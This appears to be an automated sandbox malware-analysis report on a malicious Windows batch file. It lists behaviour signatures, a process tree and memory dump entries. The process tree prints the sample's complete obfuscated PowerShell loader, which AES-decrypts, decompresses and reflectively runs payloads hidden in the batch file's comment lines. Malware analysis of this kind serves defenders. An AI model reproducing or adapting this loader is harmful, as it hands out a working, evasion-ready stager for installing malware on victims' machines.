Analysis

  • max time kernel
    16s
  • max time network
    16s
  • platform
    windows7_x64
  • resource
    win7-20240708-en
  • resource tags

    arch:x64arch:x86image:win7-20240708-enlocale:en-usos:windows7-x64system
  • submitted
    22/08/2024, 10:37

General

  • Target
    081da7f15e7bd101ab50628a23ffa3f8464db8c6f858f5d40faa890166554e39.bat
  • Size 3.4MB
  • Sample240822-mn2ynssbqa
  • SHA256 081da7f15e7bd101ab50628a23ffa3f8464db8c6f858f5d40faa890166554e39
  • MD5 SHA1 SHA512 SSDEEP
Score
8/10

Malware Config

Signatures

  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell and hide display window.

  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 6 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    cmd /c "C:\Users\Admin\AppData\Local\Temp\081da7f15e7bd101ab50628a23ffa3f8464db8c6f858f5d40faa890166554e39.bat"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:292
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /S /D /c" echo function krvoX($qfUzb){ $mgPVz=[System.Security.Cryptography.Aes]::Create(); $mgPVz.Mode=[System.Security.Cryptography.CipherMode]::CBC; $mgPVz.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $mgPVz.Key=[System.Convert]::FromBase64String('xRkMWAT1uldEXK+LHs8FgxSd3tjb0CDR/qmLOT+Eew4='); $mgPVz.IV=[System.Convert]::FromBase64String('RdAogkuv6cVOJVqYg0tlnA=='); $KTEGP=$mgPVz.CreateDecryptor(); $PBmwa=$KTEGP.TransformFinalBlock($qfUzb, 0, $qfUzb.Length); $KTEGP.Dispose(); $mgPVz.Dispose(); $PBmwa;}function XUcba($qfUzb){ IEX '$ZRxrm=New-Object System.IO.M*em*or*yS*tr*ea*m(,$qfUzb);'.Replace('*', ''); IEX '$kyGQg=New-Object System.IO.*M*e*m*o*r*y*S*t*r*e*a*m*;'.Replace('*', ''); IEX '$jJBpR=New-Object System.IO.C*om*pr*e*ss*io*n.*GZ*ip*St*re*am*($ZRxrm, [IO.C*om*pr*es*si*on*.Co*mp*re*ss*i*o*n*Mode]::D*e*c*omp*re*ss);'.Replace('*', ''); $jJBpR.CopyTo($kyGQg); $jJBpR.Dispose(); $ZRxrm.Dispose(); $kyGQg.Dispose(); $kyGQg.ToArray();}function dJKqw($qfUzb,$zcLjt){ IEX '$apikB=[System.R*e*fl*ect*io*n.*As*se*mb*l*y*]::L*o*a*d*([byte[]]$qfUzb);'.Replace('*', ''); IEX '$ybXvp=$apikB.*E*n*t*r*y*P*o*i*n*t*;'.Replace('*', ''); IEX '$ybXvp.*I*n*v*o*k*e*($null, $zcLjt);'.Replace('*', '');}$kzvdP = 'C:\Users\Admin\AppData\Local\Temp\081da7f15e7bd101ab50628a23ffa3f8464db8c6f858f5d40faa890166554e39.bat';$host.UI.RawUI.WindowTitle = $kzvdP;$GYDJk=[System.IO.File]::ReadAllText($kzvdP).Split([Environment]::NewLine);foreach ($FUbJH in $GYDJk) { if ($FUbJH.StartsWith(':: ')) { $GufiU=$FUbJH.Substring(3); break; }}$zAGQw=[string[]]$GufiU.Split('\');IEX '$iNocK=XUcba (krvoX ([*C*o*n*v*e*rt]::*F*r*o*m*B*a*se6*4*S*t*ri*n*g*($zAGQw[0])));'.Replace('*', '');IEX '$VsMSG=XUcba (krvoX ([*C*o*n*v*e*r*t]::*F*r*o*m*B*a*s*e*6*4*S*tr*i*n*g($zAGQw[1])));'.Replace('*', '');dJKqw $iNocK $null;dJKqw $VsMSG (,[string[]] ('')); "
      2⤵
        PID:2880
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell.exe -WindowStyle Hidden
        2⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:2244

    Network

          MITRE ATT&CK Enterprise v15

          Replay Monitor

          Loading Replay Monitor...

          Downloads

          memory/2244-4-0x000007FEF575E000-0x000007FEF575F000-memory.dmp

          memory/2244-5-0x000000001B730000-0x000000001BA12000-memory.dmp

          memory/2244-6-0x0000000001FF0000-0x0000000001FF8000-memory.dmp

          memory/2244-7-0x000007FEF54A0000-0x000007FEF5E3D000-memory.dmp

          memory/2244-8-0x000007FEF54A0000-0x000007FEF5E3D000-memory.dmp

          memory/2244-9-0x000007FEF54A0000-0x000007FEF5E3D000-memory.dmp